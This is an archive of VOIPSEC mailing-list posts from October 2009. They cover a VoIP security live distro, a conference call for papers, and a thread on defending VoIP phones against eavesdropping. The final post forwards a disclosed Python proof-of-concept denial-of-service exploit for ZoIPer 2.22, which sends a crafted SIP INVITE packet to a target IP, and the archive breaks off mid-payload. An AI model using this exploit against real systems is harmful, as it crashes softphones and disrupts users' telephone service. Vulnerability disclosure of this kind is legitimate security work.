From shawnmer at gmail.com  Mon Oct  5 14:36:54 2009
From: shawnmer at gmail.com (Shawn Merdinger)
Date: Mon, 5 Oct 2009 09:36:54 -0400
Subject: [VOIPSEC] VIPER Lab's VAST Live Distro
Message-ID: <fb0927a80910050636r25a666d9q87073dcda2b3de2@mail.gmail.com>

fyi

http://vipervast.sourceforge.net/

VIPER Lab's VAST Live Distro

VAST is a VIPER Lab live distribution that contains VIPER developed
tools such as UCsniff, videojak, videosnarf and more. Along with VIPER
tools and other essential VoIP security tools, it also contains tools
penetration testers utilize such as Metasploit, Nmap, and Hydra.This
distribution is a work in progress. If you would like to see a tool or
package included please feel free to suggest them and I will do what I
can to make it happen. VAST also has built into synaptic package
manager a third party repository link for the VIPER tools, so when we
update a tool it's as easy as "apt-get".


From shawnmer at gmail.com  Mon Oct 12 17:39:42 2009
From: shawnmer at gmail.com (Shawn Merdinger)
Date: Mon, 12 Oct 2009 12:39:42 -0400
Subject: [VOIPSEC] Cisco AXP router Dev Contest winner: Integrated
	Surveillance System
Message-ID: <fb0927a80910120939p63584975g288a55a0497573fd@mail.gmail.com>

FYI,

One of the three winners in Cisco's contest to develop apps for AXP routers.

http://www.cisco.com/web/solutions/axpdev/bugsbernie.html

"Application : Integrated Surveillance System  	 	

Integrated Surveillance System is a proposal for fully-integrated
surveillance system which leverages Cisco network services on ISR and
combines them in a new, smart way to build a security system. With
this solution, existing IP phones can be turned on during non-working
hours, to monitor any audio signals in the offices. If there are
abnormal audio signal patterns, the application notifies external
security services or devices such as cell phones, computers, video
monitoring systems etc."


http://www.theregister.co.uk/2009/10/10/cisco_server_routers/

<snip>

Third prize, for $20,000, was lead by Bernhard Beckham of Germany, who
created a Linux application that ran on the AXPs that interfaced with
VoIP software and IP phones to do security and remote audio monitoring
in offices.

</snip>

Cheers,
--scm


From dr at kyx.net  Fri Oct 16 23:35:33 2009
From: dr at kyx.net (Dragos Ruiu)
Date: Fri, 16 Oct 2009 15:35:33 -0700 (PDT)
Subject: [VOIPSEC] CanSecWest 2010 CALL FOR PAPERS (deadline Nov 30,
	conf. Mar22-26) and PacSec (Nov 4/5) Selections
Message-ID: <20091016223533.0F9F57439B@mail.kyx.net>

We extend our apologies if you are inconvenienced by multiple copies of this messages.

We would like to announce the PacSec 2009 Paper Selections, and
the opening of the 2010 CanSecWest Call For Papers. Given
the proximity of the Winter Olympics in Vancouver one month
before the conference, we would advise all planning to attend
to make travel preparations well in advance for next year... 

PacSec 2009 Presentations

Keynote Presentation November 4: Mitsugu Okatani, National Information Security Center / Ministry of Defense / Japan Air Self-Defense Force
Keynote Presentation November 5: Hideaki Kobayashi, Information Technology Promotion Agency
Virtualisation security and the Intel privilege model - Tavis Ormandy & Julien Tinnes, Google
Silicon Chips: No More Secrets - Karsten Nohl
Filter Resistant Code Injection on ARM - Yves Younan, University of Leuven
iPhone SMS Fuzzing and Exploitation - Charlie Miller, Independent Security Evaluators
The Microsoft View of the 2008 Threat Landscape - Tony Lee, Microsoft
Cloud Defense in the Post-BotWar Era - Ikuo Takahashi
The Android Security Story: Challenges and Solutions for Secure Open Systems - Rich Cannings & Alex Stamos, Google, iSec Partners
Stealthy Rootkit : How malware fools live memory forensics - Tsukasa Ooi, Livegrid
Defending a Social Network - Alex Rice, Facebook
Museum of API Obfuscation on Win32 - Masaki Suenaga, Symantec
!exploitable and Effective Fuzzing Strategies as a Regular Part of Test - Jason Shirk, Microsoft
Analyzing Word and Excel Document Encryption - Eric Filiol, ESIEA - Operational cryptology and Virology Lab
English Dojo: Auditing Java Security, Marc Schoenefeld
Japanese Dojo: Assembler Programming and Reverse Engineering Malware, Yuji Ukai, fourteenforty

Pacsec will be held on November 4 and 5th, in Aoyama, Tokyo.

CanSecWest 2010 CALL FOR PAPERS

   VANCOUVER, Canada -- The eleventh annual CanSecWest applied        
   technical security conference - where the eminent figures in       
   the international security industry will get together share        
   best practices and technology - will be held in downtown           
   Vancouver at the the Sheraton Wall Centre on March 22-26,          
   2010. The most significant new discoveries about computer          
   network hack attacks and defenses, commercial security             
   solutions, and pragmatic real world security experience will       
   be presented in a series of informative tutorials.                 
                                                                      
   The CanSecWest meeting provides international researchers a        
   relaxed, comfortable environment to learn from informative         
   tutorials on key developments in security technology, and          
   collaborate and socialize with their peers in one of the           
   world's most scenic cities - a short drive away from one of        
   North America's top skiing areas.                                  
                                                                      
   The CanSecWest conference will also feature the availability       
   of the Security Masters Dojo expert network security sensei        
   instructors, and their advanced, and intermediate, hands-on        
   training courses - featuring small class sizes and practical       
   application excercises to maximize information transfer.           
                                                                      
   We would like to announce the opportunity to submit papers,        
   and/or lightning talk proposals for selection by the               
   CanSecWest technical review committee. This year we will be        
   doing one hour talks, and some shorter talk sessions.              
                                                                      
   Please make your paper proposal submissions before November        
   30th, 2009.                                                        
                                                                      
   Some invited papers have been confirmed, but a limited number      
   of speaking slots are still available. The conference is           
   responsible for travel and accomodations for the speakers. If      
   you have a proposal for a tutorial session then please make        
   your submission using our new online form, available at            
   https://cansecwest.com/submissions/. If the on-line form is        
   not available you can alternatively email a synopsis of the        
   material and your biography, papers and, speaking background       
   to secwest09 [at] cansecwest.com . Only slides will be needed      
   for the March paper deadline, full text does not have to be        
   submitted - but will be accepted if available. This year we        
   will be opening up the presentation guidelines to include          
   talks not in English which we will offer to translate for
   the speaker if they are not a native English speaker.                                                   
                                                                      
   The CanSecWest 2010 conference consists of tutorials on            
   technical details about current issues, innovative techniques      
   and best practices in the information security realm. The          
   audiences are a multi-national mix of professionals involved       
   on a daily basis with security work: security product              
   vendors, programmers, security officers, and network               
   administrators. We give preference to technical details and        
   new education for a technical audience.                            
                                                                      
   The conference itself is a single track series of                  
   presentations in a lecture theater environment. The                
   presentations offer speakers the opportunity to showcase           
   on-going research and collaborate with peers while educating       
   and highlighting advancements in security products and             
   techniques. The focus is on innovation, tutorials, and             
   education instead of product pitches. Some commercial content      
   is tolerated, but it needs to be backed up by a technical          
   presenter - either giving a valuable tutorial and best             
   practices instruction or detailing significant new technology      
   in the products.                                                   
                                                                      
   Paper proposals should consist of the following information:       

    1. Presenter, and geographical location (country of               
       origin/passport) and contact info (e-mail, postal              
       address, phone, fax).                                          
    2. Employer and/or affiliations.                                  
    3. Brief biography, list of publications and papers.              
    4. Any significant presentation and educational                   
       experience/background.                                         
    5. Topic synopsis, Proposed paper title, and a one paragraph      
       description.                                                   
    6. Reason why this material is innovative or significant or       
       an important tutorial.                                         
    7. Optionally, any samples of prepared material or outlines       
       ready.                                                         
    8. Will you have full text available or only slides?              
    9. Language of preference for submission.                         
   10. Please list any other publications or conferences where        
       this material has been or will be published/submitted.         
   11. If you have multiple speakers, please outline why each         
       presenter is necessary and what each is presenting.            

   Please include the plain text version of this information in       
   your email as well as any file, pdf, sxw, ppt, or html             
   attachments.                                                       
                                                                      
   Please forward the above information to secwest09 [at]             
   cansecwest.com or use our on-line submissions form at              
   https://cansecwest.com/submissions/ to be considered for           
   placement on the speaker roster, or have your lightning talk       
   scheduled. If you contact anyone else at our organization          
   please ensure you also cc the submission address with your         
   proposal or use the on-line submissions system or else it may      
   be omitted from the review process.                               


thanks,
--dr

P.S. please accept my apologies if your submission feedback
hasn't arrived yet from PacSec (but no news is good news for
a few which will be invited to Vancouver ;-).

--
World Security Pros. Cutting Edge Training, Tools, and Techniques
Tokyo, Japan November 4/5 2009  http://pacsec.jp
Vancouver, Canada March 22-26 2010  http://cansecwest.com
Amsterdam, Netherlands, June 16/17 2010  http://eusecwest.com
pgpkey http://dragos.com/ kyxpgp



From brolen at mindspring.com  Sat Oct 17 15:48:57 2009
From: brolen at mindspring.com (brolen)
Date: Sat, 17 Oct 2009 09:48:57 -0500
Subject: [VOIPSEC] VOIP Telephone exploitation
Message-ID: <B8F0106AB1784A84928B392635EC05D4@Office>

Since the inception of your group, have you identified a clear cut strategy to detect, identify and guard against remote eavesdropping on a VOIP system such as the Cisco-IP phone.  In addition, what tests are being used to identify the activation of the remote maintenance or remote observation features.

I would certainly like to hear from some of your members regarding the defenses and protections for VOIP systems that a company can logically employ.

In addition, has anyone made any headway into the detection and removal of Trojans or rootkits on cellphones.  This appears to be a rather large effort for attacking devices such as I-phones, Blackberrys etc.

Thanks, 
Bob Rolen

From voipsa at codenomicon.com  Sat Oct 17 20:51:19 2009
From: voipsa at codenomicon.com (Ari Takanen)
Date: Sat, 17 Oct 2009 22:51:19 +0300
Subject: [VOIPSEC] VOIP Telephone exploitation
In-Reply-To: <B8F0106AB1784A84928B392635EC05D4@Office>
References: <B8F0106AB1784A84928B392635EC05D4@Office>
Message-ID: <20091017195119.GC6819@codenomicon.com>

Hi Bob,

In VoIP most problems are because vendors do not activate encryption
and key management by default. A plain SIP+RTP implementation is
always vulnerabile to a huge number of issues, for which there is not
really any other fix but to start using TCP and/or TLS for SIP, and
some type of encryption for RTP. Even if such functionality is
available, very few deployments actually use them. You get what you
deserve.

Regarding real, zero day threats in devices: trojans, and so on... The
only method to eliminate them is to fix the software. Fortunately VoIP
is one of the most active areas of fuzzing and zero day discovery. And
so is cell-phone fuzzing. If you take any software product for VoIP or
mobile communications that has not gone through fuzz testing, you will
easily find tens if not hundreds of zero day buffer overflow and
denial of service bugs. At least using our fuzzing tools. It is still
embarrassing even for me to demonstrate SBC or SIP-aware firewall
crashing from a zero-day buffer overflow test. You would think at
least the security vendors would finally get it.

Best regards,

/Ari


On Sat, Oct 17, 2009 at 09:48:57AM -0500, brolen wrote:
> Since the inception of your group, have you identified a clear cut strategy to detect, identify and guard against remote eavesdropping on a VOIP system such as the Cisco-IP phone.  In addition, what tests are being used to identify the activation of the remote maintenance or remote observation features.
> 
> I would certainly like to hear from some of your members regarding the defenses and protections for VOIP systems that a company can logically employ.
> 
> In addition, has anyone made any headway into the detection and removal of Trojans or rootkits on cellphones.  This appears to be a rather large effort for attacking devices such as I-phones, Blackberrys etc.
> 
> Thanks, 
> Bob Rolen
> _______________________________________________
> Voipsec mailing list
> Voipsec at voipsa.org
> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org

-- 
-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-
Ari Takanen                       Codenomicon Ltd.
ari.takanen at codenomicon.com       Tutkijantie 4E
tel: +358-40 50 67678             FI-90570 Oulu
http://www.codenomicon.com        Finland
PGP: http://www.codenomicon.com/codenomicon-key.asc
-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-


From jerome.athias at free.fr  Sun Oct 18 09:57:17 2009
From: jerome.athias at free.fr (Jerome Athias)
Date: Sun, 18 Oct 2009 10:57:17 +0200
Subject: [VOIPSEC] VOIP Telephone exploitation
In-Reply-To: <B8F0106AB1784A84928B392635EC05D4@Office>
References: <B8F0106AB1784A84928B392635EC05D4@Office>
Message-ID: <1255856237.21227.27.camel@juzam>

Hi,

crypto on Cisco phones is easily breakable.
The problem is that it couldn't be released because it should be
impossible for Cisco to update the firmwares, and releasing this stuff
would be a nightmare for companies using it.

/JA

Le samedi 17 octobre 2009 ? 09:48 -0500, brolen a ?crit :
> Since the inception of your group, have you identified a clear cut strategy to detect, identify and guard against remote eavesdropping on a VOIP system such as the Cisco-IP phone.  In addition, what tests are being used to identify the activation of the remote maintenance or remote observation features.
> 
> I would certainly like to hear from some of your members regarding the defenses and protections for VOIP systems that a company can logically employ.
> 
> In addition, has anyone made any headway into the detection and removal of Trojans or rootkits on cellphones.  This appears to be a rather large effort for attacking devices such as I-phones, Blackberrys etc.
> 
> Thanks, 
> Bob Rolen



From mrubino at avaya.com  Mon Oct 19 15:03:05 2009
From: mrubino at avaya.com (Rubino, Mark (Mark))
Date: Mon, 19 Oct 2009 08:03:05 -0600
Subject: [VOIPSEC] VOIP Telephone exploitation
In-Reply-To: <mailman.1.1255863602.30757.voipsec_voipsa.org@voipsa.org>
References: <mailman.1.1255863602.30757.voipsec_voipsa.org@voipsa.org>
Message-ID: <6F3A9540070E4F4FB0FA756EDFC0D5C401E83DC0@306181ANEX4.global.avaya.com>

 

While I agree that encryption would be the way to go I also agree it is
difficult to deploy and expensive to maintain for the majority of VoIP
users other than the largest and more capable of end users. 

Check the VoIPSA Resources and the web for general information regarding
securing VoIP. I recommend contacting your specific vendor for their
VoIP security best practices regarding secure network design (regardless
of encryption). From what I have seen the security deployed for a
particular VoIP system is dependant on the equipment involved, the
overall network design and cost.

Regarding the Cisco phones 'remote monitoring' ability, is there any
additional data on this - is it skinny, H323 or SIP protocol based Cisco
phones?. I don't suppose anyone would have a trace for review? Going out
on a limb I would suggest investigating means to alert on one-way VoIP
streams...



Regards,
Mark 
 

-----Original Message-----
From: voipsec-bounces at voipsa.org [mailto:voipsec-bounces at voipsa.org] On
Behalf Of voipsec-request at voipsa.org
Sent: Sunday, October 18, 2009 7:00 AM
To: voipsec at voipsa.org
Subject: Voipsec Digest, Vol 58, Issue 4

Send Voipsec mailing list submissions to
	voipsec at voipsa.org

To subscribe or unsubscribe via the World Wide Web, visit
	http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
or, via email, send a message with subject or body 'help' to
	voipsec-request at voipsa.org

You can reach the person managing the list at
	voipsec-owner at voipsa.org

When replying, please edit your Subject line so it is more specific than
"Re: Contents of Voipsec digest..."


Today's Topics:

   1. VOIP Telephone exploitation (brolen)
   2. Re: VOIP Telephone exploitation (Ari Takanen)
   3. Re: VOIP Telephone exploitation (Jerome Athias)


----------------------------------------------------------------------

Message: 1
Date: Sat, 17 Oct 2009 09:48:57 -0500
From: "brolen" <brolen at mindspring.com>
To: <voipsec at voipsa.org>
Subject: [VOIPSEC] VOIP Telephone exploitation
Message-ID: <B8F0106AB1784A84928B392635EC05D4 at Office>
Content-Type: text/plain;	charset="iso-8859-1"

Since the inception of your group, have you identified a clear cut
strategy to detect, identify and guard against remote eavesdropping on a
VOIP system such as the Cisco-IP phone.  In addition, what tests are
being used to identify the activation of the remote maintenance or
remote observation features.

I would certainly like to hear from some of your members regarding the
defenses and protections for VOIP systems that a company can logically
employ.

In addition, has anyone made any headway into the detection and removal
of Trojans or rootkits on cellphones.  This appears to be a rather large
effort for attacking devices such as I-phones, Blackberrys etc.

Thanks,
Bob Rolen

------------------------------

Message: 2
Date: Sat, 17 Oct 2009 22:51:19 +0300
From: Ari Takanen <voipsa at codenomicon.com>
To: brolen <brolen at mindspring.com>
Cc: voipsec at voipsa.org
Subject: Re: [VOIPSEC] VOIP Telephone exploitation
Message-ID: <20091017195119.GC6819 at codenomicon.com>
Content-Type: text/plain; charset=us-ascii

Hi Bob,

In VoIP most problems are because vendors do not activate encryption and
key management by default. A plain SIP+RTP implementation is always
vulnerabile to a huge number of issues, for which there is not really
any other fix but to start using TCP and/or TLS for SIP, and some type
of encryption for RTP. Even if such functionality is available, very few
deployments actually use them. You get what you deserve.

Regarding real, zero day threats in devices: trojans, and so on... The
only method to eliminate them is to fix the software. Fortunately VoIP
is one of the most active areas of fuzzing and zero day discovery. And
so is cell-phone fuzzing. If you take any software product for VoIP or
mobile communications that has not gone through fuzz testing, you will
easily find tens if not hundreds of zero day buffer overflow and denial
of service bugs. At least using our fuzzing tools. It is still
embarrassing even for me to demonstrate SBC or SIP-aware firewall
crashing from a zero-day buffer overflow test. You would think at least
the security vendors would finally get it.

Best regards,

/Ari


On Sat, Oct 17, 2009 at 09:48:57AM -0500, brolen wrote:
> Since the inception of your group, have you identified a clear cut
strategy to detect, identify and guard against remote eavesdropping on a
VOIP system such as the Cisco-IP phone.  In addition, what tests are
being used to identify the activation of the remote maintenance or
remote observation features.
> 
> I would certainly like to hear from some of your members regarding the
defenses and protections for VOIP systems that a company can logically
employ.
> 
> In addition, has anyone made any headway into the detection and
removal of Trojans or rootkits on cellphones.  This appears to be a
rather large effort for attacking devices such as I-phones, Blackberrys
etc.
> 
> Thanks,
> Bob Rolen
> _______________________________________________
> Voipsec mailing list
> Voipsec at voipsa.org
> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org

--
-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-
Ari Takanen                       Codenomicon Ltd.
ari.takanen at codenomicon.com       Tutkijantie 4E
tel: +358-40 50 67678             FI-90570 Oulu
http://www.codenomicon.com        Finland
PGP: http://www.codenomicon.com/codenomicon-key.asc
-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-



------------------------------

Message: 3
Date: Sun, 18 Oct 2009 10:57:17 +0200
From: Jerome Athias <jerome.athias at free.fr>
To: brolen <brolen at mindspring.com>
Cc: voipsec at voipsa.org
Subject: Re: [VOIPSEC] VOIP Telephone exploitation
Message-ID: <1255856237.21227.27.camel at juzam>
Content-Type: text/plain; charset="UTF-8"

Hi,

crypto on Cisco phones is easily breakable.
The problem is that it couldn't be released because it should be
impossible for Cisco to update the firmwares, and releasing this stuff
would be a nightmare for companies using it.

/JA

Le samedi 17 octobre 2009 ? 09:48 -0500, brolen a ?crit :
> Since the inception of your group, have you identified a clear cut
strategy to detect, identify and guard against remote eavesdropping on a
VOIP system such as the Cisco-IP phone.  In addition, what tests are
being used to identify the activation of the remote maintenance or
remote observation features.
> 
> I would certainly like to hear from some of your members regarding the
defenses and protections for VOIP systems that a company can logically
employ.
> 
> In addition, has anyone made any headway into the detection and
removal of Trojans or rootkits on cellphones.  This appears to be a
rather large effort for attacking devices such as I-phones, Blackberrys
etc.
> 
> Thanks, 
> Bob Rolen




------------------------------

_______________________________________________
Voipsec mailing list
Voipsec at voipsa.org
http://voipsa.org/mailman/listinfo/voipsec_voipsa.org


End of Voipsec Digest, Vol 58, Issue 4
**************************************


From sisalem at iptel.org  Mon Oct 19 15:27:52 2009
From: sisalem at iptel.org (Dorgham Sisalem)
Date: Mon, 19 Oct 2009 16:27:52 +0200
Subject: [VOIPSEC] VOIP Telephone exploitation
In-Reply-To: <6F3A9540070E4F4FB0FA756EDFC0D5C401E83DC0@306181ANEX4.global.avaya.com>
References: <mailman.1.1255863602.30757.voipsec_voipsa.org@voipsa.org>
	<6F3A9540070E4F4FB0FA756EDFC0D5C401E83DC0@306181ANEX4.global.avaya.com>
Message-ID: <4ADC7768.9040700@iptel.org>

also while encryption is surely a nice thing to have, it would be 
already a great step forward if the VoIP phonen have some kind of 
filtering mechanisms that would enable them to accept SIP traffic only 
coming from the IP address of their proxy server. Everything else would 
be dropped. Sure, an attacker can spoof IP addresses, but this is not 
always possible and would require attackers to do some more work.

cheers

Rubino, Mark (Mark) wrote:
>  
>
> While I agree that encryption would be the way to go I also agree it is
> difficult to deploy and expensive to maintain for the majority of VoIP
> users other than the largest and more capable of end users. 
>
> Check the VoIPSA Resources and the web for general information regarding
> securing VoIP. I recommend contacting your specific vendor for their
> VoIP security best practices regarding secure network design (regardless
> of encryption). From what I have seen the security deployed for a
> particular VoIP system is dependant on the equipment involved, the
> overall network design and cost.
>
> Regarding the Cisco phones 'remote monitoring' ability, is there any
> additional data on this - is it skinny, H323 or SIP protocol based Cisco
> phones?. I don't suppose anyone would have a trace for review? Going out
> on a limb I would suggest investigating means to alert on one-way VoIP
> streams...
>
>
>
> Regards,
> Mark 
>  
>
> -----Original Message-----
> From: voipsec-bounces at voipsa.org [mailto:voipsec-bounces at voipsa.org] On
> Behalf Of voipsec-request at voipsa.org
> Sent: Sunday, October 18, 2009 7:00 AM
> To: voipsec at voipsa.org
> Subject: Voipsec Digest, Vol 58, Issue 4
>
> Send Voipsec mailing list submissions to
> 	voipsec at voipsa.org
>
> To subscribe or unsubscribe via the World Wide Web, visit
> 	http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
> or, via email, send a message with subject or body 'help' to
> 	voipsec-request at voipsa.org
>
> You can reach the person managing the list at
> 	voipsec-owner at voipsa.org
>
> When replying, please edit your Subject line so it is more specific than
> "Re: Contents of Voipsec digest..."
>
>
> Today's Topics:
>
>    1. VOIP Telephone exploitation (brolen)
>    2. Re: VOIP Telephone exploitation (Ari Takanen)
>    3. Re: VOIP Telephone exploitation (Jerome Athias)
>
>
> ----------------------------------------------------------------------
>
> Message: 1
> Date: Sat, 17 Oct 2009 09:48:57 -0500
> From: "brolen" <brolen at mindspring.com>
> To: <voipsec at voipsa.org>
> Subject: [VOIPSEC] VOIP Telephone exploitation
> Message-ID: <B8F0106AB1784A84928B392635EC05D4 at Office>
> Content-Type: text/plain;	charset="iso-8859-1"
>
> Since the inception of your group, have you identified a clear cut
> strategy to detect, identify and guard against remote eavesdropping on a
> VOIP system such as the Cisco-IP phone.  In addition, what tests are
> being used to identify the activation of the remote maintenance or
> remote observation features.
>
> I would certainly like to hear from some of your members regarding the
> defenses and protections for VOIP systems that a company can logically
> employ.
>
> In addition, has anyone made any headway into the detection and removal
> of Trojans or rootkits on cellphones.  This appears to be a rather large
> effort for attacking devices such as I-phones, Blackberrys etc.
>
> Thanks,
> Bob Rolen
>
> ------------------------------
>
> Message: 2
> Date: Sat, 17 Oct 2009 22:51:19 +0300
> From: Ari Takanen <voipsa at codenomicon.com>
> To: brolen <brolen at mindspring.com>
> Cc: voipsec at voipsa.org
> Subject: Re: [VOIPSEC] VOIP Telephone exploitation
> Message-ID: <20091017195119.GC6819 at codenomicon.com>
> Content-Type: text/plain; charset=us-ascii
>
> Hi Bob,
>
> In VoIP most problems are because vendors do not activate encryption and
> key management by default. A plain SIP+RTP implementation is always
> vulnerabile to a huge number of issues, for which there is not really
> any other fix but to start using TCP and/or TLS for SIP, and some type
> of encryption for RTP. Even if such functionality is available, very few
> deployments actually use them. You get what you deserve.
>
> Regarding real, zero day threats in devices: trojans, and so on... The
> only method to eliminate them is to fix the software. Fortunately VoIP
> is one of the most active areas of fuzzing and zero day discovery. And
> so is cell-phone fuzzing. If you take any software product for VoIP or
> mobile communications that has not gone through fuzz testing, you will
> easily find tens if not hundreds of zero day buffer overflow and denial
> of service bugs. At least using our fuzzing tools. It is still
> embarrassing even for me to demonstrate SBC or SIP-aware firewall
> crashing from a zero-day buffer overflow test. You would think at least
> the security vendors would finally get it.
>
> Best regards,
>
> /Ari
>
>
> On Sat, Oct 17, 2009 at 09:48:57AM -0500, brolen wrote:
>   
>> Since the inception of your group, have you identified a clear cut
>>     
> strategy to detect, identify and guard against remote eavesdropping on a
> VOIP system such as the Cisco-IP phone.  In addition, what tests are
> being used to identify the activation of the remote maintenance or
> remote observation features.
>   
>> I would certainly like to hear from some of your members regarding the
>>     
> defenses and protections for VOIP systems that a company can logically
> employ.
>   
>> In addition, has anyone made any headway into the detection and
>>     
> removal of Trojans or rootkits on cellphones.  This appears to be a
> rather large effort for attacking devices such as I-phones, Blackberrys
> etc.
>   
>> Thanks,
>> Bob Rolen
>> _______________________________________________
>> Voipsec mailing list
>> Voipsec at voipsa.org
>> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
>>     
>
> --
> -o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-
> Ari Takanen                       Codenomicon Ltd.
> ari.takanen at codenomicon.com       Tutkijantie 4E
> tel: +358-40 50 67678             FI-90570 Oulu
> http://www.codenomicon.com        Finland
> PGP: http://www.codenomicon.com/codenomicon-key.asc
> -o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-
>
>
>
> ------------------------------
>
> Message: 3
> Date: Sun, 18 Oct 2009 10:57:17 +0200
> From: Jerome Athias <jerome.athias at free.fr>
> To: brolen <brolen at mindspring.com>
> Cc: voipsec at voipsa.org
> Subject: Re: [VOIPSEC] VOIP Telephone exploitation
> Message-ID: <1255856237.21227.27.camel at juzam>
> Content-Type: text/plain; charset="UTF-8"
>
> Hi,
>
> crypto on Cisco phones is easily breakable.
> The problem is that it couldn't be released because it should be
> impossible for Cisco to update the firmwares, and releasing this stuff
> would be a nightmare for companies using it.
>
> /JA
>
> Le samedi 17 octobre 2009 ? 09:48 -0500, brolen a ?crit :
>   
>> Since the inception of your group, have you identified a clear cut
>>     
> strategy to detect, identify and guard against remote eavesdropping on a
> VOIP system such as the Cisco-IP phone.  In addition, what tests are
> being used to identify the activation of the remote maintenance or
> remote observation features.
>   
>> I would certainly like to hear from some of your members regarding the
>>     
> defenses and protections for VOIP systems that a company can logically
> employ.
>   
>> In addition, has anyone made any headway into the detection and
>>     
> removal of Trojans or rootkits on cellphones.  This appears to be a
> rather large effort for attacking devices such as I-phones, Blackberrys
> etc.
>   
>> Thanks, 
>> Bob Rolen
>>     
>
>
>
>
> ------------------------------
>
> _______________________________________________
> Voipsec mailing list
> Voipsec at voipsa.org
> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
>
>
> End of Voipsec Digest, Vol 58, Issue 4
> **************************************
>
> _______________________________________________
> Voipsec mailing list
> Voipsec at voipsa.org
> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
>   


From shawnmer at gmail.com  Mon Oct 19 16:03:36 2009
From: shawnmer at gmail.com (Shawn Merdinger)
Date: Mon, 19 Oct 2009 11:03:36 -0400
Subject: [VOIPSEC] Fwd: Vulnerability in Zoiper softphone version 2.22 -
	Denial Of Service
In-Reply-To: <E1My75N-00019M-00.inj3ct0r-list-ru@f278.mail.ru>
References: <E1My75N-00019M-00.inj3ct0r-list-ru@f278.mail.ru>
Message-ID: <fb0927a80910190803r5e21e034n71fe1c53c829946f@mail.gmail.com>

fyi


---------- Forwarded message ----------
From: Inj3ct0r.com <inj3ct0r at list.ru>
Date: 2009/10/14
Subject: Vulnerability in Zoiper softphone version 2.22 - Denial Of Service
To: bugtraq at securityfocus.com



seller contacted, they all know
add exploit please , TnX! =]

#==================================================================
#Vulnerability in Zoiper softphone version 2.22 - Denial Of Service
#==================================================================

#1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
#0     _                   __           __       __                     1
#1   /' \            __  /'__`\        /\ \__  /'__`\                   0
#0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
#1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
#0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
#1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
#0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
#1                  \ \____/ >> Exploit database separated by exploit   0
#0                   \/___/          type (local, remote, DoS, etc.)    1
#1                                                                      0
#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1

#[+] Discovered By   : Inj3ct0r
#[+] Site            : Inj3ct0r.com
#[+] support e-mail  : submit[at]inj3ct0r.com

#!/usr/bin/python

# ZoIPer v2.22 Call-Info Remote Denial Of Service.
# Remote Crash P.O.C.
# Tested on Windows XP SP2 , SP3 , Ubuntu 8.10
#
# Vendor Notified on: 21/09/2009
# Vendor Fix: Fixed in version 2.24 Library 5324
#
# Bad Chars:   \x20  ,  \x09

import sys
import socket
import os


def main(argc , argv):

	if len(sys.argv) != 2:
		os.system("cls")
		sys.exit("Usage: " + sys.argv[0] + " <target_ip>\n")
	
	target_host = sys.argv[1]
	target_port = 5060

	evil_packet =
"\x49\x4e\x56\x49\x54\x45\x20\x73\x69\x70\x3a\x4e\x65\x6f\x40\x31"+\
					"\x30\x2e\x30\x2e\x30\x2e\x31\x20\x53\x49\x50\x2f\x32\x2e\x30\x0d"+\
					"\x0a\x56\x69\x61\x3a\x20\x53\x49\x50\x2f\x32\x2e\x30\x2f\x55\x44"+\
					"\x50\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31\x33\x31"+\
					"\x3a\x31\x32\x39\x38\x3b\x62\x72\x61\x6e\x63\x68\x3d\x7a\x39\x68"+\
					"\x47\x34\x62\x4b\x4a\x52\x6e\x54\x67\x67\x76\x4d\x47\x6c\x2d\x36"+\
					"\x32\x33\x33\x0d\x0a\x4d\x61\x78\x2d\x46\x6f\x72\x77\x61\x72\x64"+\
					"\x73\x3a\x20\x37\x30\x0d\x0a\x46\x72\x6f\x6d\x3a\x20\x4d\x6f\x72"+\
					"\x70\x68\x65\x75\x73\x20\x3c\x73\x69\x70\x3a\x4d\x6f\x72\x70\x68"+\
					"\x65\x75\x73\x40\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31"+\
					"\x33\x31\x3e\x3b\x74\x61\x67\x3d\x66\x37\x6d\x58\x5a\x71\x67\x71"+\
					"\x5a\x79\x2d\x36\x32\x33\x33\x0d\x0a\x54\x6f\x3a\x20\x4e\x65\x6f"+\
					"\x20\x3c\x73\x69\x70\x3a\x4e\x65\x6f\x40\x31\x30\x2e\x30\x2e\x30"+\
					"\x2e\x31\x3e\x0d\x0a\x43\x61\x6c\x6c\x2d\x49\x44\x3a\x20\x77\x53"+\
					"\x48\x68\x48\x6a\x6e\x67\x39\x39\x2d\x36\x32\x33\x33\x40\x31\x39"+\
					"\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31\x33\x31\x0d\x0a\x43\x53"+\
					"\x65\x71\x3a\x20\x36\x32\x33\x33\x20\x49\x4e\x56\x49\x54\x45\x0d"+\
					"\x0a\x43\x6f\x6e\x74\x61\x63\x74\x3a\x20\x3c\x73\x69\x70\x3a\x4d"+\
					"\x6f\x72\x70\x68\x65\x75\x73\x40\x31\x39\x32\x2e\x31\x36\x38\x2e"+\
